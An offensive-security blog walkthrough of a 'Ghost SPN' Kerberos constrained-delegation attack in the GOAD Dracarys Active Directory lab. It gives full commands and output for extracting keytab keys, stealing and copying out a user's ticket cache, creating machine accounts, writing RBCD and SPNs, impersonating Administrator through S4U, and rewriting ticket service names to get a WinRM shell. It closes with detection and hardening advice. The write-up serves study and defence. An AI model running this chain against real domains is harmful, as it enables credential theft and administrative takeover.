Prologue: The SPN That Wasn’t There

The scary part about the Ghost SPN? There is no CVE to track, and there is no patch to apply. It relies entirely on Kerberos working exactly the way it was designed to work. You can’t patch a protocol standard; you can only audit your environment.

In Active Directory exploitation, a constrained delegation path pointing to a non-existent machine is usually flagged by automated scanners as a dead end.

But Kerberos does not route based on DNS; it routes based on Service Principal Names (SPNs). If you can control where an SPN lives, you can redirect the delegation. What looks like a broken configuration is actually a cryptographic blank check.

TL;DR

The Ghost SPN is an attack primitive that abuses how the Key Distribution Center (KDC) handles ticket encryption. By leveraging WriteSPN privileges, we register a non-existent delegation target’s SPN onto our actual physical target machine.

Next, we bypass the delegator’s lack of protocol transition by using Resource-Based Constrained Delegation (RBCD) to forge our own evidence ticket. We feed this into the constrained delegation flow, tricking the KDC into encrypting a service ticket for the phantom name using the true target machine’s key.

Because Kerberos target service names (sname) live in cleartext headers per RFC 4120, we can use tgssub to manually rewrite the ticket’s destination label from the ghost SPN to the real service name. This matches the target’s internal security checks, allowing us to drop a shell and compromise the host.

0. Primer: The KDC Mailroom

Before we start chasing ghosts, we need to understand how Kerberos finds its targets.

A Service Principal Name (SPN) is a unique identifier for a service running on a server. When a user wants to access a file share or WinRM, they don’t ask the KDC for a ticket to an IP address. They ask for a ticket to an SPN (e.g., cifs/fs01.domain.local).

The KDC takes that SPN, searches the Active Directory database to find which account holds it, and then encrypts the resulting service ticket with that account’s long-term key. This ensures that only the service that requested the ticket can actually open it.

In other words, the KDC is the world’s most trusting mailroom clerk: it doesn’t knock on the door to see if the recipient actually lives there. It just asks Active Directory who owns the name on the envelope, seals the letter with that account’s key, and ships it off. If nobody is home at the address, well, that’s not the clerk’s problem.

1. The Anatomy of a Phantom Target

Why does the Ghost SPN work? Because the KDC is incredibly trusting, and RFC 4120 left the front door unlocked.

DNS is an Illusion, SPNs are Reality: The KDC does not perform DNS lookups to verify if a machine actually exists on the network. If we tell the KDC that a specific server hosts a specific SPN, it simply believes us. It reaches into its database, finds the account that registered the SPN, and encrypts the resulting service ticket with that account’s long-term key.

Said differently: DNS is just a rumor as far as the KDC is concerned. If the SPN says “I live here,” the KDC doesn’t go check the street. It trusts the directory entry, not the address book.

The RFC 4120 Detail: The ticket structure itself is what makes this work. The service name (the SPN) lives in the cleartext header of a Kerberos ticket, entirely outside of the encrypted payload. It is essentially a sticky note slapped onto a cryptographically sealed envelope. We can cross out the name on the sticky note and write a new one without ever breaking the seal.

With normal constrained delegation abuse, the SPN already exists and the host already exists — the path ends at a real service. With the Ghost SPN, the delegation target does not exist, and the whole attack is about forcing the real target to accept it anyway: write the missing SPN onto the actual machine with WriteSPN, bridge the delegation gap with RBCD and a created machine account, and surgically rewrite the cleartext service name so the target’s internal checks accept the ghost ticket.

If normal constrained delegation abuse is picking the lock on a door that exists, Ghost SPN is slapping a fake name onto a target’s mailbox, asking the KDC to send a sealed package to that fake name, and then crossing out the label and writing the owner’s real name before they open it.

2. A Phantom in the Keytab

During our run through the DRACARYS lab, we landed a root shell on the Linux host syrax using a Kerberos Dollar Ticket attack. Finding /etc/krb5.keytab sitting on the local filesystem was like honey for a bear. We were so distracted by the easy loot that we grabbed it, extracted the keys, and immediately pivoted to our BloodHound data—completely missing a transient Kerberos cache in /tmp/ that only appeared for a 45-second window every few minutes.

But before we get to the missing ticket, let’s look at the honey.

We pulled SYRAX$’s machine account keytab off the box to extract its long-term keys. If you inspect this keytab with standard Linux tools, you’ll find a ghost that isn’t really there. Look at what happens when libmagic (the engine behind the file command) tries to parse it:

➜ file syrax.krb5.keytab
syrax.krb5.keytab: Kerberos Keytab file, realm=DRACARYS.LAB, principal=SYRAX$/, type=92795, date=Wed Oct  4 13:13:36 1989, kvno=23

file hallucinates a timestamp from 1989 and claims the Key Version Number (KVNO) is 23. This is a classic parsing lie. Just as we saw in our previous post, Cerberus in a File (where it misread AES256 as KVNO 18), libmagic reads the wrong byte offset here and confuses the Kerberos RC4-HMAC encryption type (enctype 23) with the KVNO.

If you trust file, you’ll spend your engagement chasing phantoms. Always use klist -k to see the true cryptographic reality:

➜ klist -k syrax.krb5.keytab
Keytab name: FILE:syrax.krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
   2 SYRAX$@DRACARYS.LAB
   2 SYRAX$@DRACARYS.LAB
   2 SYRAX$@DRACARYS.LAB
   2 host/SYRAX@DRACARYS.LAB
...[snip]...

The true KVNO is 2. Trusting the raw bytes over the parser’s hallucination, we extracted the actual AES keys from the keytab and minted the SYRAX$ TGT to start looking at its delegation paths:

➜ keytabextract syrax.krb5.keytab
...[snip]...
        REALM : DRACARYS.LAB
        SERVICE PRINCIPAL : SYRAX$/
        AES-256 HASH : 7f4db6734893091014ffb5d747eb29e730d25bb09f0c04ba02054b4b404ac620

With the AES-256 key recovered, we feed it directly into Impacket’s getTGT.py, performing a clean Overpass-the-Hash (AS-REQ) to mint a forwardable Ticket Granting Ticket for the machine account:

➜ getTGT.py dracarys.lab/SYRAX$ \
    -aesKey 7f4db6734893091014ffb5d747eb29e730d25bb09f0c04ba02054b4b404ac620
[*] Saving ticket in SYRAX$.ccache

3. The Namespace Trap — A Tale of Two Arraxes

With SYRAX$ under our control, we checked its delegation rights. The BloodHound view makes it visual — SYRAX$ is allowed to delegate to two SPNs, both pointing at ARRAX:

BloodHound graph showing SYRAX$ constrained delegation to HTTP/arrax

We verified this edge directly via LDAP. The directory confirmed SYRAX$ had constrained delegation (without protocol transition) to HTTP/arrax, but checking the domain computers revealed a critical detail: there was no ARRAX machine anywhere on the network. The delegation target was a ghost.

env KRB5CCNAME=SYRAX$.ccache \
nxc ldap BALERION.dracarys.lab \
    -u 'SYRAX$' -k --use-kcache \
    --find-delegation

...[snip]...
LDAP        BALERION.dracarys.lab 389    BALERION         AccountName AccountType DelegationType DelegationRightsTo
...
LDAP        BALERION.dracarys.lab 389    BALERION         VHAGAR$     Computer    Constrained    WSMAN/vhagar.dracarys.lab
LDAP        BALERION.dracarys.lab 389    BALERION         SYRAX$      Computer    Constrained    HTTP/arrax, HTTP/arrax.dracarys.lab

Our ultimate target was VHAGAR$, which ran WinRM. The knee-jerk attacker instinct here is obvious: we control the delegator, the target is missing, and we just need a dummy account to catch the delegation.

Before firing blindly, we used sunfyre—a standard domain user we had already compromised—to verify the domain’s MachineAccountQuota (MAQ) to ensure we could actually build our trap:

env KRB5CCNAME=sunfyre.ccache \
nxc ldap balerion.dracarys.lab \
    -k --use-kcache \
    -M maq
LDAP        balerion.dracarys.lab 389    BALERION         [*] Windows 11 / Server 2025 Build 26100 (name:BALERION) (domain:DRACARYS.LAB) (signing:Enforced) (channel binding:When Supported)
LDAP        balerion.dracarys.lab 389    BALERION         [+] DRACARYS.LAB\sunfyre from ccache
MAQ         balerion.dracarys.lab 389    BALERION         [*] Getting the MachineAccountQuota
MAQ         balerion.dracarys.lab 389    BALERION         MachineAccountQuota: 10

With the quota confirmed, we used sunfyre to create the missing ARRAX machine account:

➜ bloodyAD --host balerion.dracarys.lab -d dracarys.lab \
    -u sunfyre -k ccache=sunfyre.ccache \
    add computer 'ARRAX' 'SecretMyth123!'

[+] ARRAX$ created

Next, we configured RBCD so our new ARRAX$ machine could delegate to SYRAX$:

env KRB5CCNAME=SYRAX$.ccache \
rbcd.py 'dracarys.lab/SYRAX$' -k -no-pass \
    -dc-ip 192.168.56.10 \
    -delegate-from 'ARRAX$' -delegate-to 'SYRAX$' \
    -use-ldaps -action write

[*] Getting machine hostname
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ARRAX$ can now impersonate users on SYRAX$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     ARRAX$       (S-1-5-21-3592751248-3700670067-207870396-1603)

Then we initiated the Kerberos S4U (Service for User) dance. Because SYRAX$ was configured for constrained delegation without protocol transition, it couldn’t unilaterally impersonate a user out of thin air. It needed a forwardable evidence ticket first.

We used our new ARRAX$ account (leveraging the RBCD edge we just created) to execute an S4U2self request, impersonating the Administrator and minting a forwardable evidence ticket to SYRAX$:

➜ getST.py 'dracarys.lab/ARRAX$:SecretMyth123!' \
    -dc-ip 192.168.56.10 \
    -spn 'SYRAX$' -impersonate Administrator

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@SYRAX$@DRACARYS.LAB.ccache

With the evidence ticket secured, we stepped back into SYRAX$’s context. We executed an S4U2proxy request, handing the KDC our evidence ticket and asking it to delegate the Administrator’s access downstream to our ghost target, HTTP/arrax.dracarys.lab:

env KRB5CCNAME=SYRAX$.ccache \
getST.py 'dracarys.lab/SYRAX$' -k -no-pass \
    -dc-ip 192.168.56.10 \
    -spn 'HTTP/arrax.dracarys.lab' -impersonate Administrator \
    -additional-ticket 'Administrator@SYRAX$@DRACARYS.LAB.ccache'

[*] Impersonating Administrator
[*]     Using additional ticket Administrator@SYRAX$@DRACARYS.LAB.ccache instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@HTTP_arrax.dracarys.lab@DRACARYS.LAB.ccache

Before handing this ticket to our target, we had to bypass a local string-matching check. WinRM on VHAGAR expects the incoming ticket’s service name to match its own hostname (HTTP/vhagar.dracarys.lab).

Checking our newly minted evidence ticket, we can see the mismatch on the envelope:

➜ klist Administrator@HTTP_arrax.dracarys.lab@DRACARYS.LAB.ccache
Ticket cache: FILE:Administrator@HTTP_arrax.dracarys.lab@DRACARYS.LAB.ccache
Default principal: Administrator@dracarys.lab

Valid starting       Expires              Service principal
09/10/2026 14:11:34  09/10/2026 23:31:25  HTTP/arrax.dracarys.lab@DRACARYS.LAB
        renew until 09/11/2026 13:31:25

Because Kerberos stores the target service name in the cleartext header of the ticket (outside the encrypted payload), we used tgssub.py to surgically cross out arrax and write vhagar on the envelope:

➜ tgssub.py \
    -in 'Administrator@HTTP_arrax.dracarys.lab@DRACARYS.LAB.ccache' \
    -out Administrator_winrm.ccache \
    -altservice 'HTTP/vhagar.dracarys.lab'

[*] Number of credentials in cache: 1
[*] Changing service from HTTP/arrax.dracarys.lab@DRACARYS.LAB to HTTP/vhagar.dracarys.lab@DRACARYS.LAB
[*] Saving ticket in Administrator_winrm.ccache

With the ticket visually addressed to the correct host, we handed the smuggled credential to WinRM, expecting to drop straight into an interactive shell:

env KRB5CCNAME=Administrator_winrm.ccache \
evil_winrmexec -k vhagar.dracarys.lab

...[snip]...
  File "/opt/winrmexec/winrmexec.py", line 550, in step
    blob    = krb5_mech_indep_token_decode(targ["ResponseToken"])[1]
pyasn1.error.EndOfStreamError

The Wall

The Kerberos chain worked flawlessly, but WinRM threw an EndOfStreamError and crashed.

Why? Because the KDC did exactly what it was designed to do. When SYRAX$ requested a ticket for HTTP/arrax, the KDC looked up the SPN in the directory. It found the ARRAX$ machine account we had just created. Consequently, the KDC encrypted the ticket payload with our new trash account’s SecretMyth123! key.

When we relabeled the ticket to HTTP/vhagar and handed it to the VHAGAR$ server, VHAGAR$ attempted to decrypt it using its own machine key. It failed catastrophically. The ticket was cryptographically sound, but it was sealed in ARRAX$’s envelope. When VHAGAR$ tried to unlock it, the resulting plaintext was absolute gibberish, causing the Python ASN.1 parser to crash. We had fallen into our own namespace trap.

Creating a dummy account to catch the delegation breaks the cryptographic chain. The only way a Ghost SPN attack works is if we can move the missing arrax SPN onto the actual target (VHAGAR$). But to do that, we needed WriteSPN privileges over VHAGAR$.

That realization sent us right back to the syrax honey pot to see what else we had missed.

4. Exorcising the Directory — The Bloodmagic Ritual

To fix our mistake, we couldn’t just leave ARRAX$ sitting in the directory. If we kept it around, the KDC would continue routing our delegation traffic straight into a cryptographic wall. We had to clean the slate.

Since we were operating via bloodyAD, a little bloodmagic felt appropriate. We performed a ritual cleansing to strip the unauthorized delegation rights and demote our failed attempt into a useless, unhatched object.

First, we used SYRAX$’s own TGT to query LDAP and confirm the bad routing. Because machine accounts are technically just users with a trailing dollar sign, SYRAX$ has full rights to read the directory. We mapped the delegation paths to verify ARRAX$ was clogging the route:

env KRB5CCNAME=SYRAX$.ccache \
nxc ldap BALERION.dracarys.lab \
    -u 'SYRAX$' -k --use-kcache \
    --find-delegation

...[snip]...
LDAP        BALERION.dracarys.lab 389    BALERION         AccountName AccountType DelegationType             DelegationRightsTo
...
LDAP        balerion.dracarys.lab 389    BALERION         VHAGAR$     Computer    Constrained                WSMAN/vhagar.dracarys.lab
LDAP        balerion.dracarys.lab 389    BALERION         ARRAX$      Computer    Resource-Based Constrained SYRAX$
LDAP        balerion.dracarys.lab 389    BALERION         SYRAX$      Computer    Constrained                HTTP/arrax, HTTP/arrax.dracarys.lab

Seeing ARRAX$ sitting there with Resource-Based Constrained Delegation over SYRAX$ confirmed our trap. We flushed the RBCD configuration using rbcd.py, which sends an LDAP modify request to clear the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on SYRAX$:

env KRB5CCNAME=SYRAX$.ccache \
rbcd.py 'dracarys.lab/SYRAX$' -k -no-pass \
    -dc-ip 192.168.56.10 \
    -delegate-from 'ARRAX$' -delegate-to 'SYRAX$' \
    -use-ldaps \
    -action remove

[*] Getting machine hostname
[*] Accounts allowed to act on behalf of other identity:
[*]     ARRAX$       (S-1-5-21-3592751248-3700670067-207870396-1603)
[*] Delegation rights modified successfully!
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty

Next, we replaced the ARRAX$ account entirely. Using bloodyAD (authenticated via our standard domain user sunfyre, since they originally created the object), we surgically renamed its sAMAccountName and dNSHostName to turn it into an unhatched EGG$. This ensured the KDC wouldn’t accidentally route tickets to it ever again:

➜ bloodyAD --host balerion.dracarys.lab -d dracarys.lab \
    -u sunfyre -k ccache=sunfyre.ccache \
    set object 'ARRAX$' 'sAMAccountName' -v 'EGG$'
[+] ARRAX$'s sAMAccountName has been updated
➜ bloodyAD --host balerion.dracarys.lab -d dracarys.lab \
    -u sunfyre -k ccache=sunfyre.ccache \
    set object 'EGG$' 'dNSHostName' -v 'egg.dracarys.lab'
[+] EGG$'s dnsHostName has been updated

The young dragon was dead, torn apart before he even had a chance to fly, and the KDC routing conflict died with him.

We ran one final LDAP check as SYRAX$ to verify the namespace was clear:

env KRB5CCNAME=viserion.ccache \
nxc ldap balerion.dracarys.lab \
    -u 'viserion' -k --use-kcache \
    --find-delegation
...[snip]...
LDAP        balerion.dracarys.lab 389    BALERION         VHAGAR$     Computer    Constrained                WSMAN/vhagar.dracarys.lab
LDAP        balerion.dracarys.lab 389    BALERION         SYRAX$      Computer    Constrained                HTTP/arrax, HTTP/arrax.dracarys.lab

With the directory exorcised and the namespace completely free, we were ready to hunt for the real primitive.

5. The Missing Ink — Viserion’s WriteSPN

With our failed ARRAX$ attempt neutralized and the directory cleaned, we had to confront the core constraint: we needed an SPN write permission on the target to make the ghost real.

Remember the honey pot on syrax? When we pulled the machine keytab, we missed a transient piece of loot sitting right in /tmp/. Because domain users authenticated to the Linux host via GSSAPI, SSSD cached their live Kerberos tickets in temporary session files with permissions restricted to the owner. viserion was a member of the custom LINUXUSERS group — the group that controls who can log into the Linux hosts — which is why a domain user’s session (and its TGT) was sitting on SYRAX in the first place.

The catch? These files were ephemeral, disappearing quickly during automated background tasks. But when we checked the box at the right moment, the cache was there:

root@syrax:~# ls -la /tmp/
-rw-------  1 viserion domain users 1392 Sep 10 12:22 /tmp/krb5cc_1951001110_E00qfG

root@syrax:~# klist /tmp/krb5cc_1951001110_E00qfG
Ticket cache: FILE:/tmp/krb5cc_1951001110_E00qfG
Default principal: viserion@DRACARYS.LAB

Valid starting       Expires              Service principal
09/10/2026 12:22:46  09/10/2026 22:22:46  krbtgt/DRACARYS.LAB@DRACARYS.LAB
        renew until 09/17/2026 12:22:46

We exfiltrated the cache back to our attacker machine using our established GSSAPI SSH route:

env KRB5CCNAME=root.ccache \
scp -o GSSAPIAuthentication=yes \
    root@syrax.dracarys.lab:/tmp/krb5cc_1951001110_E00qfG \
    ./viserion.ccache

Validating the stolen TGT against the domain confirmed it belonged to viserion, a standard domain user:

env KRB5CCNAME=viserion.ccache \
nxc smb balerion.dracarys.lab \
    -u 'viserion' -k --use-kcache

SMB         balerion.dracarys.lab 445    BALERION         [*] Windows 11 / Server 2025 Build 26100 x64 (name:BALERION) (domain:dracarys.lab) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         balerion.dracarys.lab 445    BALERION         [+] DRACARYS.LAB\viserion from ccache

With viserion’s ticket secured, we checked our BloodHound graph to see what reach this new identity actually had. The map revealed the missing edge: while viserion had no direct administrative rights, it held WriteSPN over VHAGAR$.

BloodHound graph showing viserion with WriteSPN over VHAGAR$

This was the missing ink. SYRAX$ owned the constrained delegation path pointing to the phantom HTTP/arrax, but viserion owned the ability to write that exact SPN onto the physical VHAGAR$ host. Neither capability was sufficient on its own, but combined, they formed the complete bridge.

6. Enter Caraxes — The Perfect Smuggle

After hitting the cryptographic wall with ARRAX$ in Section 3, you face a tactical fork in the road depending on your environment.

If you are running this live on an enterprise engagement where you cannot just hit a “reset lab” button, the lingering ARRAX$ account will continue to pollute the KDC database. To bypass this live, you spin up a fresh machine account with a new name—like Caraxes—to cleanly separate the paths and avoid collision. Alternatively, in a controlled lab, you can simply reset the environment state, clear out the old routing entries, and reuse ARRAX$.

Assuming a clean slate with the SPN correctly pointed at VHAGAR$ via viserion’s WriteSPN rights, the final attack chain executes as follows.

CARAXES$——(RBCD) ➜ SYRAX$——(Constrained Delegation) ➜ HTTP/arrax——(Ghost SPN) ➜ VHAGAR$

Armed with viserion’s cache and the precise permissions to alter the directory, we executed the final maneuver. We no longer needed a dummy account to catch the fallout; we were going to force the physical target itself to accept the ghost.

We keep VHAGAR’s existing WSMAN SPN so we don’t break its legitimate WinRM endpoint — and so we can still verify the SPN list later during cleanup. The two HTTP/arrax entries (short name and FQDN) are the ghost: both have to land because SYRAX$’s constrained delegation lists both, and our later getST.py -spn 'HTTP/arrax.dracarys.lab' needs the FQDN variant to resolve to VHAGAR$ so the KDC encrypts with the right key.

➜ bloodyAD --host balerion.dracarys.lab --dc-ip 192.168.56.10 \
    -u viserion -k ccache=./viserion.ccache -d dracarys.lab \
    set object 'VHAGAR$' servicePrincipalName \
    -v 'WSMAN/vhagar.dracarys.lab' \
    -v 'HTTP/arrax' \
    -v 'HTTP/arrax.dracarys.lab'

[+] VHAGAR$'s servicePrincipalName has been updated

Next, we laid down the new infrastructure. We created our clean routing account (whether reusing ARRAX$ after a lab reset or spinning up CARAXES on a live run):

➜ bloodyAD --host balerion.dracarys.lab -d dracarys.lab \
    -u sunfyre -k ccache=sunfyre.ccache \
    add computer 'CARAXES' 'SecretMyth123!'

[+] CARAXES$ created

Then, we configured RBCD so our new CARAXES$ machine could delegate to SYRAX$:

env KRB5CCNAME=SYRAX$.ccache \
rbcd.py 'dracarys.lab/SYRAX$' -k -no-pass \
    -dc-ip 192.168.56.10 \
    -delegate-from 'CARAXES$' -delegate-to 'SYRAX$' \
    -use-ldaps -action write

[*] Getting machine hostname
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] CARAXES$ can now impersonate users on SYRAX$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     CARAXES$     (S-1-5-21-3592751248-3700670067-207870396-1604)

With the SPN registered on the real target and our RBCD edge in place, we initiated the S4U dance. We used CARAXES$ to mint the forwardable evidence ticket for Administrator against SYRAX$:

➜ getST.py 'dracarys.lab/CARAXES$:SecretMyth123!' \
    -dc-ip 192.168.56.10 \
    -spn 'SYRAX$' -impersonate Administrator

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@SYRAX$@DRACARYS.LAB.ccache

We checked the envelope of our new evidence ticket to verify the route:

➜ klist Administrator@SYRAX\$@DRACARYS.LAB.ccache
Ticket cache: FILE:Administrator@SYRAX$@DRACARYS.LAB.ccache
Default principal: Administrator@dracarys.lab

Valid starting       Expires              Service principal
09/10/2026 18:44:42  09/11/2026 04:44:42  SYRAX$@DRACARYS.LAB
        renew until 09/11/2026 18:44:42

Now came the constrained delegation hop. Using SYRAX$’s own TGT and supplying our newly minted evidence ticket, we requested a service ticket for HTTP/arrax.dracarys.lab. Because we registered that SPN on VHAGAR$ back in our first step, the KDC encrypted this service ticket using VHAGAR$’s key:

env KRB5CCNAME=SYRAX$.ccache \
getST.py 'dracarys.lab/SYRAX$' -k -no-pass \
    -dc-ip 192.168.56.10 \
    -spn 'HTTP/arrax.dracarys.lab' -impersonate Administrator \
    -additional-ticket 'Administrator@SYRAX$@DRACARYS.LAB.ccache'

[*] Impersonating Administrator
[*]     Using additional ticket Administrator@SYRAX$@DRACARYS.LAB.ccache instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@HTTP_arrax.dracarys.lab@DRACARYS.LAB.ccache

Just as we did in our failed attempt, we inspected the envelope. The ticket was issued to the ghost name, but this time we knew the encrypted payload inside was sealed with VHAGAR$’s actual key:

➜ klist Administrator@HTTP_arrax.dracarys.lab@DRACARYS.LAB.ccache
Ticket cache: FILE:Administrator@HTTP_arrax.dracarys.lab@DRACARYS.LAB.ccache
Default principal: Administrator@dracarys.lab

Valid starting       Expires              Service principal
09/10/2026 18:45:10  09/11/2026 03:54:18  HTTP/arrax.dracarys.lab@DRACARYS.LAB
        renew until 09/11/2026 17:54:18

The Local Rewrite: Understanding tgssub

Before we can pass this ticket to WinRM, we have to solve a routing mismatch. The ticket is encrypted with VHAGAR$’s key (because of the Ghost SPN), but its internal service name label still points to HTTP/arrax.dracarys.lab. Standard clients like evil_winrmexec look for an exact match against HTTP/vhagar.dracarys.lab, and the target service expects its own name.

This is where tgssub comes in. Under RFC 4120, a Kerberos ticket’s encrypted payload contains the session key and client identifiers, but the target service principal name (sname) lives in the cleartext header. tgssub allows us to surgically rewrite that cleartext label without breaking the cryptographic seal.

Because upstream Impacket does not include this utility, we use the version from the Exegol fork (by ThePorgs), which natively handles the ticket rewrite:

➜ tgssub.py \
    -in 'Administrator@HTTP_arrax.dracarys.lab@DRACARYS.LAB.ccache' \
    -out Administrator_vhagar_winrm.ccache \
    -altservice 'HTTP/vhagar.dracarys.lab'

[*] Number of credentials in cache: 1
[*] Changing service from HTTP/arrax.dracarys.lab@DRACARYS.LAB to HTTP/vhagar.dracarys.lab@DRACARYS.LAB
[*] Saving ticket in Administrator_vhagar_winrm.ccache
➜ klist Administrator_vhagar_winrm.ccache
Ticket cache: FILE:Administrator_vhagar_winrm.ccache
Default principal: Administrator@dracarys.lab

Valid starting       Expires              Service principal
09/10/2026 18:45:10  09/11/2026 03:54:18  HTTP/vhagar.dracarys.lab@DRACARYS.LAB
        renew until 09/11/2026 17:54:18

The cleartext routing label was successfully forged to match the target, while the payload inside remained cryptographically sealed with VHAGAR$’s own key.

We handed the smuggled ticket straight to WinRM. The server decrypted it with its own machine key, the authentication handshake completed, and we dropped straight into an Administrator shell on VHAGAR:

env KRB5CCNAME=Administrator_vhagar_winrm.ccache \
evil_winrmexec -k vhagar.dracarys.lab

...[snip]...

PS C:\Users\Administrator\Documents> whoami; hostname
dracarys\administrator
vhagar

Domain Admin on the member server. The ghost had taken physical form.

7. Hunting the Ghost (Defensive Telemetry)

I don’t spend my days writing SIEM alerts, but from an offensive perspective, I know exactly which tripwires I had to step over to map this route. You can’t patch a protocol standard like Kerberos, but you can catch the people abusing it by watching how they manipulate the directory’s architecture.

If you are defending an environment, here is how you spot the ghosts:

1. Watch the Ink (Event IDs 4742 and 5136) The final attack hinges on modifying the servicePrincipalName attribute of the target machine. Monitor for Event ID 4742 (Computer Account Changed) or Event ID 5136 (Directory Service Object Modified). Because these events can be noisy in enterprise environments, filter by the actor: if a standard, non-administrative user account is suddenly stamping new SPNs onto a critical server, the ghost is already in the building.

2. Monitor the Bridges (RBCD Modifications) Before we could smuggle the ticket, we had to build a route for our dummy account (CARAXES$). That meant writing to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on SYRAX$. Altering this attribute is how attackers build unauthorized bridges across your network. Monitoring it for unauthorized changes is one of the highest-fidelity indicators of an RBCD attack in progress.

3. Audit the Dead Ends Automated scanners often flag constrained delegation paths pointing to non-existent hosts as “informational” or “low risk” because the target is missing. Stop ignoring them. A delegation path to a missing machine isn’t a dead end; it’s a vacant lot waiting for an attacker to build a house on it.

4. Kill the MachineAccountQuota (MAQ) This entire attack chain relied on our ability to spin up ARRAX$ and CARAXES$ out of thin air. By default, Active Directory allows any authenticated user to create up to 10 machine accounts (MachineAccountQuota=10). Drop this to 0. If an attacker can’t create a machine account, the first hop dies in the water, and the Ghost SPN remains just a theory.


Closing Thoughts

This is the beauty of the Ghost SPN primitive, but more importantly, it highlights the difference between exploiting a lab and operating in a live environment. In a standard GOAD walkthrough, hitting that EndOfStreamError usually ends with a frustrated sigh and a lab reset—wiping the directory state clean so you can reuse the ARRAX$ account as if the mistake never happened.

But enterprise domains don’t have a reset button.

When the KDC poisoned our route by caching the burned ARRAX$ cryptography, we didn’t wipe the map; we drew a new path around the obstacle. By abandoning the polluted namespace, spinning up CARAXES$ to establish a fresh RBCD bridge, and forcefully pinning the Ghost SPN directly onto our physical target (VHAGAR$), we outmaneuvered the KDC’s internal logic.

We still relied on our core mechanics; MachineAccountQuota, WriteSPN abuse, and correcting the envelope with tgssub. But the real victory here was state recovery. We took a failed execution, diagnosed the cryptographic desync, and dynamically adapted our namespace manipulation to salvage the attack.

Constrained delegation without protocol transition is never a dead end, and a burned SPN isn’t a game over. When you truly understand the directory’s architecture, even an impossible, polluted routing path can be transformed into a complete domain compromise.


Note: The practical case study and terminal outputs in this post were extracted from my full walkthrough of GOAD: Dracarys. I initially set out to map the Ghost SPN, but after a rogue bitmask dream completely overrode my authorization while I was buried alive in that massive Westbridge write-up, this post ended up taking the scenic route. Even with a month-long hiatus starting around August 12, 2026, to rethink the architecture, we still managed to ship it before George R.R. Martin finishes The Winds of Winter.